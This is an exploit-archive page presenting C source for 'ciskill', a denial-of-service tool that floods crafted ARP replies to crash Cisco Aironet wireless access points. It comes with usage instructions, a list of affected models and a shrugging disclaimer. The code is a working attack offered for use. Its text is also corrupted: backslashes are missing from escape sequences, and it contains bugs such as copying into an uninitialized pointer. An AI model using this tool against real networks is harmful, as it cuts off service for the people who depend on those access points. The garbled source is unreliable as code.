[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Cisco Aironet Wireless Access Points Memory Exhaustion ARP Attack DoS
# Published : 2006-01-25
# Author : Pasv
# Previous Title : Arescom NetDSL-1000 (telnetd) Remote Denial of Service Exploit
# Next Title : Tftpd32 2.81 (GET Request) Format String Denial of Service PoC


//
// Cisco Killer - ciskill.c
//
// Usage: ./ciskill [device]
//
// Author: Pasv (pasvninja [at] gmail.com)
//
// Credit: This exploit takes advantage of a vulnerability that was
// discovered by Eric Smith on January 12, 2006 (bid:16217)
//
// Greets to NW, zimmy, GSO, and the rest.
//
// Description: The vulnerability exists in the way the affected versions
// below handle ARP replies, if enough specially crafted ARP packets are sent
// on the network with the affected systems it will cause the access point memory
// exhaustion which will in a few seconds (depending on the speed of the attacker
// and the memory of the target) crash the system, making all ingoing/outgoing
// traffic stopped.
//
// Disclaimer: I pity the foo who uses this exploit for evil, I take no responsibility
// for your actions (like a knife maker).
//
// Versions affected:
//  Cisco Aironet 350 IOS
//  Cisco Aironet 1400
//  Cisco Aironet 1300
//  Cisco Aironet 1240AG
//  Cisco Aironet 1230AG
//  Cisco Aironet 1200
//  Cisco Aironet 1130AG
//  Cisco Aironet 1100
// (this includes most linksys wireless access points)



#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/if_ether.h>
#include <linux/sockios.h>

// Edit this packet accordingly if the target is picky
char pkt[]=
// Ethernet header
"xffxffxffxffxffxff" 	// Destination: broadcast
"AAAAAA"			// Source: 41:41:41:41:41:41
"x08x06"			// Pkt type: ARP
// ARP header
"x00x01"			// Hardware type: Ethernet
"x08x00"			// Protocol: IP
"x06"				// Hardware size: 6
"x04"				// Protocol size: 4
"x00x02"			// Opcode: Reply
"AAAAAA"			// Sender (Mac): 41:41:41:41:41:41
"AAAA"				// Sender (IP): 65.65.65.65
"AAAAAA"			// Target (mac): 41:41:41:41:41:41
"AAAA"				// Target (IP): 65.65.65.65
; // End of Packet

int main(int argc, char **argv) {
	FILE *fp;
	int sock, seed;
	long count;
	char *device;
	in_addr_t addr;
	struct sockaddr sin;
	
	printf("CisKill -- Aironet Cisco KillernCoded by: PasvnDiscovery credit: Eric Smithn");
	if(getuid()) {
		printf("Must be root to inject arp packets!n");
		exit(1);
	}
	
	if(argc != 2) {
		strcpy(device,"wlan0");
	}
	else {
		device=argv[1];
	}

	fp = fopen("/dev/urandom", "r");
	fscanf(fp,"%d", &seed);
	fclose(fp);
	srand(seed);
	
	memset(&sin, 0, sizeof(sin));
	sin.sa_family = AF_UNSPEC;
	strncpy(sin.sa_data,device, 14);
	
	sock = socket(PF_INET, SOCK_PACKET, 0x300);
	
	printf("Using device: %snn", device);	
	
	// stupid
	printf("Press ctrl+c immediately if you wish to stopnGoing in 5n");
	sleep(1);printf(" 4n");sleep(1);printf(" 3n");sleep(1);printf(" 2n");sleep(1);printf(" 1!n");sleep(1);
	
	while(1) {
		addr = (rand()%0xff)+(rand()%0xff)+(rand()%0xff)+(rand()%0xff);
		pkt[28] = (char)addr;
		pkt[38] = (char)addr;
		count++;
		printf("#:%ld bytes sent: %d (should be 42)n",count,  sendto(sock, pkt, 42, 0, (struct sockaddr *)&sin, sizeof(sin)));
	}
}

// www.Syue.com [2006-01-25]